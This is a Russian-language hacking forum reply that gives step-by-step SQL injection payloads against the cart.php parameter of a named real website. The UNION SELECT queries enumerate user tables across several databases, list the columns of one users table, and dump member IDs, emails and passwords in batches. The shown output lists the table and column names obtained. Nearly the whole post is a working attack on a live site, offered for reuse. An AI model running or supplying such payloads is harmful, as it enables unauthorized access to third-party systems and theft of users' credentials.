|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512
Репутация:
0
|
|
Сообщение от qaz
так тоже ничего не выводит
Код HTML:
http://harmony.naturalworld.ru/cart.php?id=-1+union+select+1,group_concat(concat_ws(0x2e,table_schema,table_name)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,18,19,20,21,22,23+from+information_schema.tables+where+table_name+like+0x257573657225--+
Результат:
Код HTML:
nw.phpbb_users,nw_mir.users,trvlr_forum.phpbb3users,trvlr_forum.phpbb_users,trvlr_top.users
Выбираешь нужную таблицу. Для примера trvlr_top.users
1) Узнаем колонки
Запрос:
Код HTML:
http://harmony.naturalworld.ru/cart.php?id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,18,19,20,21,22,23+from+information_schema.columns+where+table_name=0x7573657273+AND+table_schema=0x7472766C725F746F70--+
Результат:
Код HTML:
memberid,sitename,url,email,description,password,clicksin,clicksout,hits,date,passreset,passreset2,rank,id_kat,hosts,knopka,mail,open,all,status,users,ocenka,checker,login,chastota,fio,open_link,content,title,server,desc,keyword,time,chk_date,chk_result,is_new,is_violator,days_left,mail_sent,chk_attempts
2) Выводим юзеров
Запросы:
Код HTML:
http://harmony.naturalworld.ru/cart.php?id=-1+union+select+1,group_concat(concat_ws(0x3a,memberid,email,password)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,18,19,20,21,22,23+from+trvlr_top.users+where+memberid+between+1+and+20--+
Код HTML:
http://harmony.naturalworld.ru/cart.php?id=-1+union+select+1,group_concat(concat_ws(0x3a,memberid,email,password)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,18,19,20,21,22,23+from+trvlr_top.users+where+memberid+between+21+and+40--+
и т.д.
|